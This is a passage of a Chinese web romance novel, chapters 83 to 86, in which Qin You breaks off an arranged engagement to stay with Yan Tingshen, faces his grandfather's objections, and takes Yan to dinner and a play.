第 83 章 你们刚才难道没做完吗?……
取消婚约?
秦恒钟脸上隐隐有了怒容。
他看向两人交握的手, 看到秦游毫无缓和余地的平静神情,一股气怒交加的窒塞陡然郁结心头。
“你们……”秦恒钟抬手捂胸,粗喘两声, “你……”
齐晏吓了一跳, 连忙上前扶住秦恒钟的手臂:“秦老?”
虽然他是第一个建议把秦游抢回来的人。
可好友真的来抢、甚至一抢就成,他实在有点心虚。
这可是秦家的订婚宴。
幸好这场宴会办得很低调,只有双方亲人, 否则乱子就大了!
要是这个时候,秦老再被气出好歹, 那真的很难收场。
裴笙也在秦恒钟另一侧, 扶起另一条手臂:“秦老, 您还好吗?”
秦恒钟早在齐晏出声时就闭上眼睛。
当着外人的面, 他不想多说什么, 平定心情后, 他又看向秦游:“我要和你单独谈谈。”
说完, 他压下火气, 又补充一句, “还有庭深, 请你也留下。”
听到他的称呼, 裴笙心头一跳,不由也看向严庭深。
进门时是“严总”。
现在却是“庭深”。
放下当下的情形,秦老称呼上的改变, 最能体现秦老态度的转化。
不论秦老心里到底怎么想,至少表面上,他不再敌视庭深,反而试图包容。
严庭深也眸光微动。
他对看来的裴笙和齐晏略略颔首,再转向秦游。
秦游正开口:“现在不太方便。”
秦恒钟皱眉:“哪里不方便?”
【……】
系统这时呼了一口气, 从脑海出现。
【宿主,我刚才又进小黑屋了,而且这里好多人啊,你们——呀!】
它还在疑惑,呼出的气突然又倒吸回来,【宿主,检测到你和主角都处于勃|起状态,你们刚才难道没做完吗——】
【……】秦游道,【闭嘴。】
【好的……】
与此同时。
崔凌示意助理推着衣架跟紧,走到门口时说:“董事长,刘小姐说小秦总衣领沾了口红,我让人送了备用礼服过来。”
秦恒钟这才看到,秦游衣领上确实有痕迹。
助理推着衣服进门,又赶紧出来。
崔凌路过秦恒钟,低声说:“我已经送刘小姐回楼上,董事长,宴会厅那边……”
秦恒钟皱着眉,只对秦游说:“我在外面等你。”
在他离开之前。
秦游也只对他说了一句话:“婚约的事,我不会改主意。”
“……”崔凌看着秦恒钟绝说不上好看的脸色,也看向秦游。
秦游注意到他的视线,交代一句:“找刘家尽快商量出通知宾客的说辞,但不要提到任何第三个人的名字。”
崔凌下意识瞄了一眼严庭深,低头应是。
“等等。”
听到秦恒钟的声音,崔凌脚下一紧。
秦恒钟已经看出秦游的一意孤行,再开口时,没了刚才的怒火,只剩迟暮中无能为力的疲惫:“……让小詹跟你一起去。”
崔凌松了口气。
董事长口中的小詹他当然知道,詹磊,代替康明的董事长首席秘书,最近很受重用。
让詹磊和他一起去找刘家商量,说明董事长也不再强求,开始顺水推舟,和平取消婚约。没了火药味,又有董事长许可,事情解决起来就简单多了。
秦恒钟说完就转身出了门。
裴笙和齐晏自然也没久留。
房门随即合起。
秦游走到衣架前,听到身后传来严庭深的声音。
“你真的考虑清楚了?”
秦游取衣服的手微顿,回眸看向严庭深。
严庭深还在原地。
当理智控制思想,他的观点一向很冷静:“取消婚约,会打乱你的计划,秦老也会对你不满。这会对你不利。”
【是啊宿主,你现在的能量是零,这次任务就差最后一步了,不完成有点可惜呀!】
系统也在担心,【就算主角现在爱上你,可任务不会立刻判定成功,后续还是有剧情要走的,留一点能量,当容错率也是好的嘛。而且主角说得对,你取消婚约,秦家的人肯定又要针对你了……】
秦游道:【后续的事,后续再说。】
主角的感情状态是任务本质。
他已经有最简单的捷径,没必要再去自找麻烦。即便这不是他答应严庭深的本意。
不过,提起任务,提起秦家——
秦游看着严庭深。
同一个房间,同样的独处,但出自真心的感情流露,换成此刻深计远虑的分析——
他知道严庭深出于好意,也知道这段话也是出自真心,为他着想。
只是,身在秦家,他就永远脱离不了曾经厌恶的环境,处处虚与委蛇,仿佛又回到那个藏污纳垢的名利场。
“秦游?”
严庭深立刻察觉他眼底的变化,不由往前一步,离他更近,重新牵住他松开的手,“你在想什么?”
秦游敛眸,又反手握了握他的手,没有回答这个问题,只反问:“你希望我完成婚约?”
严庭深一时无言。
秦游笑了笑:“不要对我撒谎。你知道,我想听的是实话。”
严庭深薄唇微抿,片刻才道:“我当然不希望你和另一个人订婚。”
秦游深深看他:“但你劝我考虑清楚。”
严庭深握住秦游的手也微微收紧:“我只是不希望你因为我,勉强做出违心的决定。”
秦游把人拉近一步,轻声问他:“那你呢,劝我和另一个人订婚,这个决定,是你的真实想法?”
不够冷却的呼吸又在接近。
严庭深的目光落在秦游含笑的嘴唇,才微微往上,望进秦游的双眼。
他很快移开了视线,声音也在放轻:“我没有劝你订婚。我只是劝你考虑清楚。”
秦游笑说:“劝我之前,你考虑得够清楚吗?”
严庭深微有沉默。
人性从来不能承受考验。
他不希望秦游有名正言顺的未婚妻,但更不希望秦游因为他自毁前途。
他从来考虑得足够清楚。
这不是一时意气,是他和秦游未来的路。
“你让我不要勉强,却在勉强自己。”
秦游看着他,眼底早已褪去回忆过去的淡漠,悄然柔和,“你的话只对了一半。我取消婚约,的确是为了你——”
严庭深和他对视。
秦游笑着摩挲他也在用力的手背:“但我的决定,从不违心。”
无声的宁静在交汇的目光中流连。
秦游又笑一声:“不要多想,好吗。”
严庭深抿唇看他:“嗯。”
秦游才回身拿了两套衣服:“你也换一套吧。”
换衣服用不了太久。
秦恒钟对他和严庭深严防死守,难保不会再闯进来,还是尽早换上为好。
严庭深抬手接过,和他一起,分别走进一旁的衣帽间。
衣帽间原本是为准新人准备,之间只有简单的隔断。
秦游走进衣帽间内配备的浴室,听到隔壁也传来淅淅沥沥的水声。
蒸腾的雾气不受阻隔,从隔断上方迅速融为一体。
忽地。
隔壁有严庭深的声音响起。
“秦游?”
秦游道:“我在。”
身侧的水声也久久没有变化。
秦游心念微动,抬手按在身侧轻薄的隔断。
暖意似乎隔着间距浸入掌心,心跳似乎也在氤氲的雾色中传递。
不多时,对面又传来严庭深的回复。
他说:“我知道。”
秦游看着手背,又看了对面一眼,轻轻笑了笑:“我很快出来。”
话落,他冲过澡,出门换了衣服,回到休息室,看到严庭深也刚从隔壁出来。
看见秦游半湿的头发,严庭深顿了顿,又回身拿了吹风机,走到沙发前。
“坐吧。”
秦游笑说:“不用麻烦了。”
严庭深看他一眼,把人按进沙发。
只是头发吹到一半,门外又传来敲门声。
“进。”
这次是崔凌推的门。
进来看到沙发上的场景,他想说什么的嘴闭上了,表情麻木,让开一步露出身后的秦恒钟,随后又退了出去,留下三人单独谈话。
秦恒钟也看到两人的动作,眼皮一跳,到另一侧坐下,直等吹风机的噪声停止,才终于出声:“婚约可以取消,但你们两个人的事,今天必须谈谈。”
秦游道:“董事长想怎么谈?”
秦恒钟又看向面不改色的严庭深。
今天发生的事,实在出乎他的意料。
秦游答应订婚,他送给严庭深请柬,原以为严庭深会备受打击,没想到严庭深竟然来参加宴会就算了,还彻底搅黄了秦游的婚事。
可事情到现在的局面,后悔也是无济于事,他只能另找办法。
秦游坚持解除婚约,已成定局,以秦游的性格,以过去这段时间的了解,他对秦游也已经无计可施。既然如此,他只能从严庭深身上下手。
秦游当初一步都不退让,还是答应过订婚;严庭深背负得更多,掌握得更多,欲望当然更大,弱点也更明显。
“庭深。”
秦恒钟想了想,直截了当地问,“据我所知,你和秦游在一起,家里还不知道吧?”
只一句话,严庭深听出他的来意,颔首道:“秦老放心,这件事,我会处理。”
秦恒钟也点了点头:“那请你告诉我,你要怎么处理这件事?”
说着,他意有所指,“为了你,秦游不惜悔婚,也不惜和我这个亲爷爷决裂;他宁愿放下秦氏,不要股份,也坚持只要这份感情。我老了,虽然感动,可更担心他所托非人,所以还想问一问,庭深,你又为他做过什么呢?”
闻言,严庭深不由转向秦游,眸光闪动。
没错。
自始至终,秦游为他做了很多,但他为秦游做的,却寥寥无几。
“我——”
秦游握住严庭深在膝上正收拢的手,代为回答秦恒钟的问题:“回国后,我初来乍到,只有他,无条件帮我解决了所有麻烦。”
来自秦家的麻烦。
来自秦氏的麻烦。
他遇到的麻烦,桩桩件件,不论棘手与否,即便他本人都不在意,严庭深都会介入。
除此之外,还有和严庭深相处时的点滴,他在学着投他所好;还有危急时刻,严庭深的奋不顾身,全心全意——诸如此类,这些严庭深从没主动提过,但他看在眼里,当然看得出严庭深为他做过什么。
而婚约是为了任务,秦家的亲情他避之不及。
他放下的是从不想接受的秦氏,不要的是从没打算继承的股份——
唯独严庭深。
他的确真心相待,所以时至今日,换回一颗真心。
显然,这笔生意,他和严庭深是双赢。
严庭深反手握住秦游的手。
听完秦游的话,他敛眸,正要开口,却又抬眼和秦游对视,眸光沉定:“不,比起你做的,这些远远不够。”
“……”
秦恒钟坐在两人对面。
他看过秦游,再看过严庭深,看两人对视间清晰明了的旁若无人,他的脸又黑了一层,忍不住咳了一声,打断他们不成体统的眉目传情。
第 84 章 牛啊兄弟!
严庭深看向秦恒钟。
他没有回避这个问题, 语气一如既往,沉着从容:“秦老的担心,我很理解。”
他不是第一次和秦恒钟见面。
但这是第一次, 以秦游恋人的身份面对秦家人。
面对秦游目前最亲近的家人, 他不希望留下的印象一再狼藉。
至少,这番话秦游会听到,也会明白, 答应他,绝不会是“所托非人”。
严庭深接着说:“秦游帮过我, 救过我, 为我做过的牺牲, 我也记得很清楚。”
秦游所做的, 除去秦恒钟口中的那些, 还有很多。
从初遇的第一天起, 不论原因是什么, 秦游切实救过他, 不止一两次。
“这么说, ”
秦恒钟冷不防出声:“你和秦游在一起, 是因为感激他救过你?”
闻言, 严庭深脱口而出:“不。”
话音没落,他下意识转眼看向秦游。
秦游似有所觉,也转脸看他。
对上那双熟悉含笑的桃花眼, 严庭深心弦微紧,却没有移开视线:“当然不是。”
迄今为止,他仍然说不清,究竟什么时候对秦游有特别的好感。
站在今天,再回想, 从见面之初,他对秦游的靠近始终听之任之。
他曾试着挖掘秦游的神秘,也曾打算识破秦游的本性,于是顺理成章,越陷越深,也许在第一天已经注定。
但那一定和感激无关分毫。
感谢的手段有千万种。
为此付出感情,他还没有那么廉价。
正相反,如果会受伤,他宁愿秦游不去救他。
听到秦恒钟的这句话,他记起的,更多是平常普普通通的相处。
脑海里闪过的画面不计其数。
早已经找不到源头,也似乎永无止境。
他记起秦游帮他复健;记起看过的风景;记起在苍滨滑雪;那些秦游说过的话——
严庭深不由自主,微转左腕。
记起这块手表。
和手表里,秦游为他摘过的梅花。
秦游唇边也牵着笑意:“我知道。”
“……”
见两人的眼睛又分不开,秦恒钟沉着脸又咳了一声。
他意味深长地说:“患难时确实很容易感动,可这样的感动是一时的,你们还年轻,不懂得激情和感情的区别。”
严庭深才回眼,但握紧秦游的手始终没有松开一分。
听完秦恒钟的话,他没再解释,只淡声道:“秦老,我是生意人,您应该明白,假使只为一时的激情,并不值得我做出今天的决定。”
不是据理力争。
仅仅一段再普通不过的基础逻辑。
秦恒钟听了,脸色没有变好,可也无话可说。
严庭深是生意人。
他也是生意人,这句话他当然明白。
和秦游在一起,严庭深要面对的不止是他的责问,更有来自严家的压力。
作为钧闵的总裁,严庭深就算掌有实权,董事会也是不可逾越的一座大山。
他的那位老战友,比他的运气要好得多,可选的接班人,除了严庭深,还有几个。
虽说严庭深已经羽翼丰满,可把他拉下马就有上位的可能,这种风险,很多人甘愿尝试。
前有豺狼,后有虎豹。
在这种前提下,选择和一个男人在一起——
不是玩玩,是真心实意、私定终身。
这无疑会让严庭深的处境变得艰难。
严庭深是生意人。
做这笔生意,他稳赔不赚。
但权衡利弊,他还是做出这个决定。
这一句话,足以证明严庭深的决心。
秦恒钟闭着眼,心里又堵上一声长叹。
从严庭深身上下手,他也已经无计可施。
秦游性子飘忽不定,没有可利用的把柄。
严庭深看样子陷得也深,头脑却还很清明。
从感情入手,这两个人不好离间,他的话毫无作用。
除非用点手段,把消息透露给严家。
到时候严庭深自顾不暇,才有可趁之机。
可他一把年纪,又是长辈,这种没有脸面的事,实在拿不出手。
更何况,事情闹到这一步,秦游又是这样的态度,他做得太绝,将来难以转圜。
“秦游,你怎么想?”
秦恒钟只好拿出最后一个没多少分量的办法,“你真的确定和严庭深在一起?你在苍滨出的事,现在水落石出,嫌疑人也已经抓到,那个孟云哲的资料,你应该看到了吧?”
听到孟云哲的名字,严庭深微坐正。
“庭深,你父亲的私生子,却对秦游动手,原因不用我多说。”
秦恒钟说,“我不赞成你们在一起,其中最大的理由,就是这个。在你身边,秦游的安全问题,很难得到保障。”
秦游闻言,眸光微动。
只从这一点,他答应和严庭深在一起,的确有违初衷。
他还没从秦家脱身,又一只脚踏进了严家。
而相比秦家人的冷血,严家的手段更狠辣,从绝对理智的角度,他确实该慎重考虑。
他想离开,脱离秦氏集团,可以算作和秦家决裂。
只要他不回来,对一个局外人,秦家的其余人不会在乎,也不会费心去追杀。
严家却不一定。
以严庭深展露的能力,以□□他人的忌惮,对他势必会有影响。
他可以放弃秦氏,严庭深却不可能放弃钧闵。
退一万步来说,即便严庭深愿意陪他远走高飞,他也不会同意。
就像严庭深说的那句话。
他不希望严庭深因为他,勉强做出违心的决定。
那么,他是保持本心,还是陪严庭深继续留在这个名利场——
秦游眼底渐沉。
和严庭深在一起,他没有后悔。
但这个决定,出于真心,也有一时冲动。
独处的气氛太好,才让他竟然忘了考虑现实。
严庭深看着秦游的侧脸,心间也压下一层阴影。
上一次秦游高烧,他到泽水湾,秦游说过的话言犹在耳。
秦游不喜欢尔虞我诈,喜欢的是无事一身轻的生活。
对公司以外层出不穷的状况,秦游已经厌恶到放弃资产的地步。
为了他,秦游会彻底改变想法吗?
严庭深想着,心头阴影更重。
以秦游的性格,恐怕绝无可能。
对面,秦恒钟却倍感意外。
他说这句话的时候没报多少希望,毕竟几次受伤,他都问了安保,每一次都是秦游自己把身死置之度外,去救严庭深,苍滨那一次也不例外。
按理来说,这个威胁对秦游不值一提才对。
但他没放过这个意外之喜:“你们感情深厚,是不是,也该为对方考虑?”
严庭深眉间微蹙。
秦游的安全问题。
这也是最值得让他犹豫的问题。
一个孟云哲都敢对秦游下手,严家的其他人呢?
即使秦游受伤是因为安保不在身边,但那一天,那一刻的惊心动魄,他永远不想再看到第二次。
秦恒钟又看向秦游:“秦游,你要不要再考虑一下?”
秦游正要开口。
忽地。
交握的手狠狠一紧,又缓缓松开。
秦游转向严庭深。
这一次,严庭深避开他的视线,语气也不复平淡:“你……”
“我什么?”
听出他声音里的笑意,严庭深才回眸。
秦游笑说:“我在想,既然不安全,那就先不公开吧。”
严庭深微怔。
“……”秦恒钟脸色再次黑沉,“不公开?”
“谈一场恋爱,何必闹得人仰马翻。外人知不知道,什么时候知道,也都不重要。”
秦游也握了握严庭深的手,告诉他,“重要的是,这是我们的决定,是我们两个人的事。”
严庭深眉间心底的阴影轻易被这句话抚平,节奏纷乱的心跳也渐渐安稳。
他看着秦游的眼睛,原本没打算再开口,但压抑已久的话难以克制:“你真的,不后悔?”
他很少这样追问。
秦游知道,他一定看出什么。
不过,他总是思虑得太周详,看出的不一定就是事实。
“严总,你也应该明白。”
秦游笑着告诉他,“我也是生意人。”
闻言,严庭深微绷微紧的脊梁悄然松弛。
秦游挑眉,又笑说:“如果你后悔,倒还来得及。”
权衡利弊,计较得失,这些也是他曾经做惯的事,已经是本能。
这个决定也许不够完美。
但和严庭深在一起,是他本能认为的最优选。
至于因此带来的后果——
秦游看着严庭深和缓的眉眼轮廓,笑意不改。
将来的事,谁都不能左右。
既然如此,就交给将来烦心吧。
至少,他很满意现状。
严庭深也只说了一句话:“这是我唯一绝不会后悔的事。”
“……”
对面,秦恒钟第三次闭上眼睛。
这样的场景,他年纪大了,看不动了,几次打断效果有限,没有再做无用功的道理。
反而越看下去,他这场谈话,作用没有起到一点,反而让他听到两人几次表明心迹……
听不到一个想听的字,秦恒钟也不想再聊下去。
“总之,今天的事收场,你们两个也收敛一点,可秦游,婚约的事我可以不再计较,你是不是也要做点什么?”
秦游道:“董事长希望我做什么?”
“回公司去。”
秦恒钟说,“履行你总经理的职责。”
秦游皱眉。
秦恒钟已经起身:“上班之前这几天,你最好认真想想。”
说着,他对严庭深只点了点头,就起身走向门口。
刚一开门。
门外几双眼睛看天看地看走廊,全离房门一个箭步的距离,各个装模作样。
看到秦恒钟,裴笙当先打招呼:“秦老。”
“董事长。”
“秦老。”
秦恒钟心情不美,没说什么:“嗯。”
齐晏看着崔凌和詹磊跟在秦恒钟身后走远,忙扭身进门。
看到沙发上安然无恙、毫无异常的两人,他心里暗暗称奇。
直到裴笙也进门,他趁机背着秦游,对严庭深竖起了大拇指。
牛啊兄弟!
第 85 章 今夜,美妙绝伦。
订婚取消, 刘望舒也已经离开,休息室里只剩下四人。
齐晏的手被裴笙按了下去,摸了摸鼻子。
裴笙在他身旁站定, 才看向严庭深, 欲言又止。
严庭深道:“想说什么。”
裴笙低头两秒,再看他和秦游时,还是把话说出了口:“我知道, 这个时候不该说这些影响你们的心情,可事情已经发生, 还是要做好准备。”
严庭深已经听出他的点到为止。
齐晏听着, 脸上的笑容也消散一空, 叹了口气:“是啊, 抓到孟云哲那天太不巧了。”
他看向严庭深, “你说, 你爸说的话, 是真的威胁, 还是虚张声势?”
严庭深淡淡说:“虚张声势, 占九成。”
除了分红, 严立辉名下没有进账, 现如今优渥的生活大部分由他支撑。
想“告发”他和秦游的关系,也要看严立辉能拿出几分勇气,下定决心切断经济来源。
齐晏也是这个思路。
那天的严立辉, 肯定是动了真火,否则不会撂下狠话。
可要说动真格的,三天过去了,孟云哲在里面吐得都差不多了,也没见严家那边有什么动静。
只是, 剩下的一成也不能无视。
说句不好听的,兔子急了还会咬人,自己的儿子即将被判死刑,严立辉不可能会袖手旁观。
齐晏想着,还想再提醒严庭深,结果抬头看到对方说完话就看回秦游,似乎在低声解释什么。应该是在说遇到孟云哲的事。
一瞬间,他体会到了电灯泡的存在感。
算了……
严庭深根本用不着他提醒。
这里也根本不该有第三个人存在。
他抬臂撞了撞裴笙,正要一起离开,就见裴笙看着两人,好像出神的模样——
齐晏眼皮一跳。
坏了。
这段时间整天想着那两口子闹矛盾的事,他差点忘了,裴笙前不久也是这样,总是庭深和秦游一亲近,就显得魂不守舍。
该不会……
齐晏顺着裴笙的视线看过去,看过对面如胶似漆的两口子、看过秦游那张帅得让他窝火的脸,又看回裴笙。
他暗吸一口凉气。
不会吧?
难道……
裴笙也喜欢上秦游了?
可能察觉身旁的异样目光,裴笙回过神,看向齐晏。
齐晏不动声色地说:“走吧?”
裴笙点头。
不考虑严家的问题。
现在庭深和秦游误会解除,婚约解除,已经算很圆满。他和齐晏也没必要待在这里,妨碍两人独处。
齐晏松了口气。
还好。
裴笙还是理智的。这两口子可都不是省油的灯。
“那个,庭深,秦游,你们先聊,我们下楼吃个饭。”
秦游循声看过去。
齐晏已经摆了摆手,和裴笙一起转身出门。
门再次合起。
严庭深看向秦游。
把遇到孟云哲的场景简单说明,他追加一句:“放心,严家那边,我会盯紧。”
秦游笑说:“你也放心。除非我再大意,苍滨的意外不会再发生。”
严庭深握紧他的手:“抱歉,如果不是我,你在秦家至少没有生命危险。”
“别多想。”
秦游无奈,换了个话题,“好了不提这些。饿不饿,去吃点东西?”
严庭深从善如流:“好。”
秦游看表。
天色已经昏暗,没到饭点,也快了。
他说:“你想在这吃,还是出去?”
严庭深说:“出去。”
秦游给项海峰发了消息,随口问:“想去哪?”
严庭深说:“除了这里,哪里都可以。”
闻言,秦游一顿,转眼看他。
严庭深眸光黑沉。
从踏进这里的第一步,周围就充斥着秦游订婚的氛围,无时无刻不在提醒他——
这里是秦游订立婚约的场所。
不论这份婚约是真是假,这个场所满是秦游和另一个人的痕迹。
“好。”
秦游也看出他眼底的思绪,含笑牵着人起身,“那就先出去再说。”
严庭深随他站起。
到门外,崔凌已经回来。
“小秦总。”
崔凌打着招呼,看到严庭深,声音低了一度,“严总。”
曾几何时,他还觉得二世祖想和严庭深谈恋爱,简直是天方夜谭。
没想到这才多久,峰回路转,变成严庭深追到了秦游的订婚现场。
婚约会取消。
这个念头在看到严庭深出现的时候,他其实就有了预感。
果然也是不出所料。
对这两位千回百转的感情,崔凌无可置喙。
反正二世祖和谁订婚都一样,他只是冰冷的、拿钱办事的雇佣工人。
今天的宴会办不成,他到手的钱也不会少。
崔凌边想边让开身位。
有严庭深在,取消婚约的细节他也不方便说,还是邮件联系吧,比较专业。
秦游路过他,想到什么,对他说:“辛苦了。节后复工,通知人事部,你的奖金再上调五个点。”
崔凌睁大眼睛,下意识看向秦游。
从这句话,他听出话里更深的含义:“小秦总,你要回来了?”
秦游道:“嗯。”
他取消婚约,和严庭深在一起,作为交换,自然该答应秦恒钟的要求,重新担任总经理。
毕竟短期内不会离开,没必要费神劳力,和秦恒钟硬碰硬。
就按之前的模式吧。
一切转交给崔凌处理,这个位子给他带来的麻烦也很有限。
崔凌不禁笑了:“那就好。”
董事长让秦游回到总经办,释放的信号无疑是正向的。
秦游道:“这里帮我善后吧。”
崔凌点头:“好的。”
“刘小姐那边。”
秦游想了想,“拟一份合同,把我名下溪源的股份转给她。”
溪源?
这家公司是秦氏旗下的娱乐公司之一,说它日进斗金也不为过,算秦游名下稳定收入中的一笔中等进账,但对刘望舒、甚至对恺强科技来说,都绝对是不菲的天降横财。
有这笔钱傍身,刘望舒只要脑子灵光,从此不用顾忌父母的脸色,直接脱离恺强科技,足以过上比以前更自由富足的生活。
崔凌一惊,还是点头:“好的。”
秦游再补充几句细节,才和严庭深继续下楼。
转过拐角是,严庭深余光看到正目送的崔凌,忽而开口:“你的助理,对你倒很忠心耿耿。”
秦游正看消息,闻言也往走廊看了一样:“崔凌?”
话落再看向严庭深,笑说,“忠心谈不上吧,信得过而已。难道你的助理都朝秦暮楚?”
严庭深不语。
秦游把人拉近一步,把手机递给他:“选一家吧,看看想吃什么。”
消息里是三张套图,是三家餐厅。
严庭深对吃食没有太多喜好,正要随手选一个,听到耳边又传来秦游的声音。
“认真选。”
秦游帮他罗列条件,“第一家餐厅,可以看到雪景;第二家,三百米内有个环境不错的公园,饭后可以去散散步——”
听到这,严庭深的动作顿住,看向秦游。
秦游笑说:“第三家,离剧院很近。”
严庭深听到心跳声微乱:“剧院?”
“你不是想看同作者的其他话剧吗。”
秦游道,“这间剧院今天就有场次,是另一部,今夜美妙绝伦。”
严庭深看着他:“你还记得?”
秦游唇边压着笑意:“当然记得。”
严庭深回眸,先他一步下楼:“是因为我提醒,你才记得。”
秦游的声音又从身后传来。
“不提醒我也记得,只是没机会兑现。这个话剧可不是随时都有演出。”
严庭深说:“话剧不是随时演出,去公园散步呢?”
秦游失笑。
他会提起这个话剧,的确因为严庭深的那一句。
‘你的下次,从来没兑现过。’
“不用勉强兑现。”
严庭深回头,“也不用这么刻意。我不是逼你做这些。”
秦游也住脚,牵过他的手,才继续往前:“你觉得我不是自愿?”
严庭深看着他:“如果是自愿,我怎么会等到今天?”
秦游和他对视,轻笑一声:“如果不是自愿,怎么会有今天?”
严庭深微顿。
“本来跟你约的是明天,今天正好空出来,那就从今天开始。”
秦游走向门外,“快选吧。不过别选太久。我们现在时间充裕,下一次,下下次,只要你想,这些可以随时兑现。”
严庭深落后半步,也接着往前。
听秦游说完,他看着秦游的侧脸,唇边也有浅淡笑意,渐渐,又回到并肩。
大厅里,项海峰已经迎过来。
“秦总,呃,严总——”
他显然已经听说婚约取消的消息,看到严庭深,声音也低了下去,“车在外面。”
以前是地下恋情。
现在光明正大了,还这么大张旗鼓地光明正大,他可能偷偷摸摸惯了,还有点不自在。
秦游颔首:“嗯。”
见严庭深始终没有决定,他把手机递了过去。
严庭深看着三张图片。
他和秦游约定的是饭后走一走。
时间改动,选第二家是顺理成章。
门外。
雪也停了。
脚步声踩进雪里,让他想起杉韵的那一夜,和秦游走过的那段路。
夜色里,只有这道宁静的声音——
秦游不由意外:“很难选?”
只是三家餐厅。
严庭深愿意,大可以分三次都去一趟。饭总要吃的。
严庭深说:“不难。”
他把手机递还给秦游,“去第三家。”
司机正开车门,回道:“好的。”
秦游和严庭深一起上车。
坐下后,他笑着说:“别怪我没提醒你,这家餐厅的味道比较一般。”
严庭深道:“不要紧。”
他对饭菜的味道没有太多要求。
秦游给出的这三个选项,也和饭菜的口味无关。
而他选定这家餐厅,是从秦游口中听到的那个名字。
严庭深的视线又落在秦游的侧脸。
三选一。
其实在秦游说出这个名字的当下,他已经有决定。
——今夜,美妙绝伦。
第 86 章 狭窄的包厢里,暗流肆意……
汽车很快启动。
天色刚晚, 路上车灯如梭,路边还有行人。
两侧路灯也早已亮起,照亮地面如银的积雪, 和雪上百态的成双人影。
严庭深看到车窗外的一对情侣。
女孩抱着男孩手臂, 路灯照在脸上,两张打趣嬉笑的面孔神采鲜活,一闪而过。
光彩的景象迅速远去, 严庭深看着车窗,缓缓看到窗上正看手机的秦游。
——今夜发生的一切, 用这部话剧收场, 再合适不过。
他转眼, 不由开口:“在看什么?”
“崔凌发来的消息。”
秦游看他一眼, 索性侧身倚在扶手, 作势把手机放在当中, 问他一句, “退婚的事。想看吗?”
严庭深也看他一眼, 同样侧身靠近:“嗯。”
秦游道:“没什么内容, 一些补偿细节。毕竟是我毁约在先, 总要给刘家一个交代。”
严庭深对这些没有异议:“嗯。”
秦游把消息翻完, 崔凌最后发来一个表格,里面整理了和刘家商讨的内容。
大概要发给双方,单独赠送刘望舒的股份没有计算在内。
秦游看完, 回了一句,正要回身,搭在扶手的手背忽地一暖。
他收手机的动作一顿,垂眼扫过握住他的另一只手,目光再往上, 手的主人堪堪侧过脸,似乎正专心欣赏车窗外的风景。
严庭深看着被雪色照耀的车窗。
秦游轻笑的轮廓被光雪辉映,正看向他。
他倏地移开视线,却只一瞬,下一刻又落了回来。
“你答应秦老回秦氏——”
闻言,秦游笑了一声。
严庭深微顿,视线从车窗收回,转向秦游的脸:“你笑什么?”
秦游笑眼看他。
他转移注意力的方式,总是同样的招数。
谈起正事,其余的小事好像就可以不去在意。
不过——
秦游没有点破,只反手握住严庭深的手,缓缓十指相扣:“我不笑。你接着说。”
手掌摩挲。
体温互换——
严庭深的手臂稍稍僵硬,听到秦游开口,他薄唇微抿,小臂也缓缓落在扶手,收紧和秦游交握的右手,抬眼和秦游对视。
“想牵就牵。”
话落,秦游倾身往前,轻声笑说,“以我们的关系,你想对我做什么,都可以。”
严庭深眸光深幽,目光扫过他开合的薄唇——
直到路边传来孩子嬉闹的鞭炮声,严庭深收回视线。
他凝望秦游的双眼,唇边也有弧度在不觉间牵起:“我会的。”
秦游挑眉。
严庭深握紧他的手,又转而道:“你不想打理公司的事,如果信得过我,还是和以前一样,我帮你处理。”
秦游想了想:“其实也没什么要处理的事,有崔凌足够了。”
“嗯。”
严庭深转向窗外,“我只是提议,具体情况,你做安排。”
见状,秦游点了点他的手背,示意他把脸转回来:“这些运转的小问题交给崔凌,他希望历练,我们也省时省力,不好吗?”
听到“我们”两个字,严庭深心念微动。
他回眼看向秦游,只淡淡说:“我没说不好。”
秦游失笑:“对,你没说。”
严庭深不置可否。
“等遇到他解决不了的大麻烦,再交给你。”
秦游接着说,“毕竟钧闵集团的总裁,不能总把时间浪费在鸡毛蒜皮的小事上。你觉得怎么样?”
严庭深说:“可以。”
他又问一句,“康明,你有什么打算?”
康明的资料他已经看过,在秦老身边这么多年,从没有在秦氏担任要职的经历。
这次秦老破例把人调进总经办,绝不止秦老针对秦游做戏这一个原因。他的背后,不乏推手。
秦游笑意微敛,点在他手背的指腹往下抚过,才笑说:“不提这个。”
严庭深沉眸,于是不再追问。
秦游的态度一目了然,他当然看得出来。
即便回到秦氏,秦游的心意还是没有改变。
那天在滑雪场见面,秦游说得很清楚,他不想留下,但要不要走,他没有确定。到今天,依旧是一样的结果。
“看看菜单?”
秦游点开屏幕,“想吃什么?”
严庭深看了看他。
秦游有所察觉:“怎么?”
严庭深转向菜单,选定后,车厢内有片刻的安静。
汽车在马路上平稳疾驰,临近目的地,雪又在下。
秦游看着飞雪沿窗滑下:“好在你没选第二家。看样子今晚不太适合散步。”
严庭深也看过去:“下得不大。”
秦游道:“那就等话剧结束,路边走走。”
严庭深一顿,看他没有回头的背影:“我不是这个意思。”
秦游才回眼看他,笑说:“都是陪你,散步还是回家,都一样。”
严庭深五指微紧。
正在这时,车停了。
两人下车进了餐厅,落座后,经理请示后,很快上了菜。
秦游尝过几道,味道的确差强人意。
不算差,只是远不如之前严庭深挑过的几家。
可惜只有这里离剧场最近,去其他餐厅,大概率会错过演出开场。
他搁筷喝水时,问严庭深:“怎么样?”
严庭深看向他:“不错。”
秦游放水杯的手微停。
严庭深对吃穿用度都不挑剔,但评价标准从来很高,能让他感觉不错,已经算很满意。
难道这家餐厅正对他的口味?
严庭深看到他的动作,也顿了顿:“你不喜欢?”
“怎么会。”
秦游道,“你喜欢的话,以后多来几次。”
严庭深没有反对:“好。”
饭后,看演出时间将近,两人出了餐厅,步行到不远处的剧院。
路上有不少和他们有相同目的地的行人。
奇怪的是,这场演出的观众,似乎全是情侣。
成双成对的人影结伴走进剧院,看到两个男人,还纷纷投来隐晦探究的眼神。
为身后客人引路的侍者挡住了所有的视线:“您好,这边请。”
秦游和严庭深走进另一条通道。
进了包厢,秦游扫过房间里的陈设。
这家剧院,算是之前两家的结合。
两侧不是隔断,但观看演出的沙发是双人座,两个矮桌摆在左右,桌面是准备好的精致果盘和茶点。
看到这张双人沙发,严庭深不知记起什么,脚步也停在门边。
侍者正介绍包厢内的一应功能,说完见两人没有其他交代,最后提醒了一句:“演出开始后,请两位见谅,包厢的隔音可能不是特别好……”
隔音?
秦游看他一眼。
侍者脸上是习惯的麻木,尤其面前是两位男士,他说出提醒更加自然,对上秦游的眼神,才正了正站姿,低下头低声又说一遍:“请见谅。有任何需要,请按桌上的服务铃。”
说完,他安静地离开,关上了门。
秦游没太在意。
隔音不是演出的重点。第一次和严庭深看话剧,隔断的隔音更不好。
他转身和严庭深一起落座。
